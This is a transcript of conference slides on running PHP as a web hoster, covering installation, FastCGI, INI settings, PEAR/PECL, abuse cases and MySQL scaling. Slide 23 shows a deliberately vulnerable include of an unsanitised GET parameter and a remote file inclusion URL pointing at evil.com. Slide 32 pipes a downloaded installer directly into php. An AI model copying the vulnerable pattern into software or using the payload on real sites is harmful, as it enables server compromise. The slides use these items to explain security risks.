Php through the eyes of a hoster phpbnl11

8,163 views

Published on

Published in: Technology
0 Comments
1 Like
Statistics
Notes
  • Be the first to comment

No Downloads
Views
Total views
8,163
On SlideShare
0
From Embeds
0
Number of Embeds
60
Actions
Shares
0
Downloads
84
Comments
0
Likes
1
Embeds 0
No embeds

No notes for slide

Php through the eyes of a hoster phpbnl11

  1. PHP  through  the  eyes  of  a  hosterThijs  FerynEvangelist+32  (0)9  218  79  06thijs@combellgroup.comPHPBenelux  ConferenceSaturday  January  29th  2011Antwerpen,  Belgium
  2. Welcome  to  PHPBNL11
  3. About  me I’m  the  support  manager  at  Combell
  4. About  me I  used  to  be I’m  the  support  manager  at  Combell
  5. About  me I’m  an  Evangelist  at  Combell
  6. About  me I’m  a  board  member  at  PHPBenelux
  7. I  live  in  the  wonderful  city  of  Bruges MPBecker  -­‐  Bruges  by  Night  hYp://www.flickr.com/photos/galverson2/3715965933
  8. Follow  me  on  TwiYer:  @ThijsFeryn Read  my  blog:  hYp://blog.feryn.euGive  me  feedback:  hYp://joind.in/2490
  9. Chapter  I  :  The  hoster,  a  genuine  stakeholder  in  the  PHP  universe
  10. Stakeholders Customer Development  company Endusers MGMT Devs MGMT Design PM Internal Internal IT PM Sales QA Systeam Consultant Hoster PHP  community
  11. Stakeholders Somewhere  along  the  road  ... Your  app  needs  to  be  hosted
  12. Goals  &  mocves Our  goals  &  moEves  are  the  same  as  yours: • It  has  to  work • It  has  to  perform • It  has  to  scale • It  has  to  be  secure • It  has  to  be  available
  13. Chapter  II:  Installacon  &  configuracon
  14. Installing  from  sourceserver$  ./configure  -­‐-­‐prefix=/usr/local/php-­‐5.2.10  -­‐-­‐with-­‐apxs2=/usr/local/httpd-­‐2.2.12/bin/apxs  -­‐-­‐with-­‐zlib  -­‐-­‐with-­‐curl  -­‐-­‐with-­‐gd  -­‐-­‐enable-­‐mbstring  -­‐-­‐with-­‐mysql  -­‐-­‐with-­‐mysqli  -­‐-­‐enable-­‐pcntl  -­‐-­‐with-­‐pdo-­‐mysql  -­‐-­‐with-­‐readline  -­‐-­‐enable-­‐soap  -­‐-­‐with-­‐xsl  -­‐-­‐with-­‐mcrypt  -­‐-­‐with-­‐mssql  -­‐-­‐with-­‐snmp  -­‐-­‐with-­‐imap  -­‐-­‐with-­‐kerberos  -­‐-­‐with-­‐imap-­‐ssl  -­‐-­‐with-­‐config-­‐file-­‐path=/etc/php5/  -­‐-­‐enable-­‐sockets  -­‐-­‐with-­‐freetype-­‐dir  -­‐-­‐with-­‐openssl  server$  makeserver$  make  install
  15. Installing  using  a  package  manager  (APT/Apctude)Install  PHP: server$  apt-­‐get  install  php5Install  MySQL  library  for  PHP: server$  apt-­‐get  install  php5-­‐mysql
  16. SAPI  ...  schmapi Mod_php FastCGI CLI Web Apache  module gateway -­‐ Process Apache  process php-­‐cgi php ConfiguraEon Apache  conf  files wrapper on  the  fly shell  user  or   User Apache  user shell  user suexec  user
  17. FastCGIExample  config:• Apache  handler    <IfModule  mod_fcgid.c>        SuexecUserGroup  dev  dev        PHP_Fix_Pathinfo_Enable  1        <Directory  /var/www/dev/www/>            Options  +ExecCGI            AllowOverride  All            AddHandler  fcgid-­‐script  .php            FCGIWrapper  /var/www/dev/etc/fcgi.wrapper  .php            Order  allow,deny            Allow  from  all        </Directory>    </IfModule>
  18. FastCGIExample  config:• Wrapper  script #!/bin/sh PHPRC=/usr/local/php-­‐5.3.1/etc export  PHPRC export  PHP_FCGI_MAX_REQUESTS=5000 export  PHP_FCGI_CHILDREN=8 exec  /usr/local/php-­‐5.3.1/bin/php-­‐cgi
  19. INI  seengs:  tales  of  good  &  evil
  20. INI  seengs:  tales  of  good  &  evilDefining  INI  seengs:• Php.ini• Ini_set()• “-­‐d”  • php_value• php_flag• php_admin_value• php_admin_flag
  21. INI  seengs:  tales  of  good  &  evilMemory_limit: Fatal  error:  Allowed  memory  size  of  16777216   bytes  exhausted  (tried  to  allocate  35  bytes)
  22. INI  seengs:  tales  of  good  &  evilSafe_mode  &  Open_basedir: <IfModule  mod_php5.c>        php_admin_flag  engine  on        php_admin_flag  safe_mode  off        php_admin_value  open_basedir  "/var/www/vhosts/ website.com/httpdocs:/tmp" </IfModule>
  23. INI  seengs:  tales  of  good  &  evilAllow_url_fopen: <?php $lang= $_GET[lang]; require("$lang.php");http://domain.ext/index.php?lang=http://evil.com/hack.txt?
  24. Chapter  III:  Versions  &  features
  25. PHP  4:  End  of  life,  but  far  from  dead
  26. PHP  4:  End  of  life,  but  far  from  dead Parse  error:  syntax  error,  unexpected  T_STRING,   expecting  T_OLD_FUNCTION  or  T_FUNCTION  or  T_VAR   or  }  in  test.php  on  line  4
  27. Developers  love  bling  bling
  28. It  HAS  to  be  PHP  5.3.5  !!!
  29. I  need  ALL  PHP  extension  !!!
  30. I  use  ALL  PHP  features  !!!
  31. Fruit  &  vegetables:  PEAR  &  PECL
  32. Fruit  &  vegetables:  PEAR  &  PECLPEARPHP  Extension  and  ApplicaEon  Repository  (h#p//pear.php.net) server$  lynx  -­‐source  http://pear.php.net/go-­‐pear  |  php server$  pear  install  date
  33. Fruit  &  vegetables:  PEAR  &  PECLPECL  (pickle)PHP  Extension  Community  Library  (h#p//pecl.php.net) server$  pecl  install  pecl_http
  34. External  frameworks Popular  frameworks  outside  the  PHP  project
  35. Chapter  IV:  PHP  aYracts  a  crowd
  36. It’s  easy  !
  37. That  easy  ! <?php echo "Hello world!";
  38. It’s  cheap  !
  39. It’s  stable  !
  40. Everyone  can  be  a  PHP  developer
  41. But  not  everyone  has  what  it  takes
  42. Luckily  there’s  a  lot  ready-­‐to-­‐use  PHP  soware  out  there
  43. Who  you  gonna  call  ?
  44. But  when  helpers  need  help  ...
  45. They  reach  out  to  the  PHP  community User  Group  meeEngs Twi^er Blogs Forums PHP.net IRC Conferences
  46. Chapter  V:  Here  be  phpirates
  47. Here  be  phpirates
  48. Fact “The  majority  of  hacking/absue  cases  are  PHP  related”
  49. False  assumpcons “Open  source  is  evil”“PHP  has  lots  of  security  vulnerabiliEes  and  is  not  mature”
  50. Here  be  phpiratesThe  real  issues• Quality  of  the  code• Network  &  server  security• PHP  version  &  configuraEon
  51. Responsibilices
  52. Chapter  VI:  Scalability
  53. Performance  ==  speed
  54. Scalability  ==  constant  speed  under  increasing  load
  55. Scaling  up
  56. Scaling  out
  57. Developers  (some2mes)  forget  ...
  58. Scaling  MySQL
  59. mysql>  explain  SELECT  field1,  (SELECT  COUNT(*)  FROM  table2  WHERE  field3  =  table1.id)  FROM  table1  WHERE  field2  =  1    ORDER  BY  field4  DESC  limit  12,12;***************************  1.  row  ***************************                      id:  1    select_type:  PRIMARY                table:  table1                  type:  ALLpossible_keys:  approved                    key:  approved            key_len:  NULL                    ref:  NULL                  rows:  3143                Extra:  Using  where;  Using  filesort***************************  2.  row  ***************************                      id:  2    select_type:  DEPENDENT  SUBQUERY                table:  table2                  type:  ALLpossible_keys:  NULL                    key:  NULL            key_len:  NULL                    ref:  NULL                  rows:  1005                Extra:  Using  where
  60. mysql>  show  processlist;+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+|  Id        |  User  |  Host            |  db  |  Command  |  Time  |  State                                |  Info        |+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+|  63515  |  root  |  localhost  |  db  |  Query      |        0  |  NULL                                  |  show  processlist                                                                ||  81763  |  root  |  localhost  |  db  |  Sleep      |    105  |                                            |  NULL        ||  85187  |  root  |  localhost  |  db  |  Query      |        0  |  Sending  data                  |  SELECT  data  from  someTable  where  field  =  val    ||  82701  |  root  |  localhost  |  db  |  Query      |        0  |  Copying  to  tmp  table  |  SELECT  data  from  someTable  where  field=val2      ||  82709  |  root  |  localhost  |  db  |  Query      |        0  |  Sorting  result              |  SELECT  data  from  someTable  where  order  by  field  ||  82716  |  root  |  localhost  |  db  |  Query      |        0  |  Opening  tables              |  SELECT  data  from  someOtherTable                                  |+-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐-­‐+
  61. Scaling  MySQL  with  replicacon
  62. PHP  scalability  toolbox
  63. Memcached
  64. Gearman
  65. Varnish
  66. Summary
  67. Summary1.Hosters  are  a  genuine  stakeholder  in  the  PHP  universe2.PHP  is  highly  flexible  &  configurable.  Hosters  have  to  ensure  a  decent   setup3.PHP  has  a  lot  to  offer  feature-­‐wise4.PHP  aDracts  a  crowd  and  brings  a  lot  of  people  together  from   different  industries  (e.g.  hosters)5.Lots  of  abuse  cases  are  PHP  related,  but  that’s  not  the  fault  of  PHP   itself6.PHP  itself  doesn’t  scale  *that*  well,  but  is  flexible  enough  to  ensure   scalability  via  extra  tools
  68. Q&A

×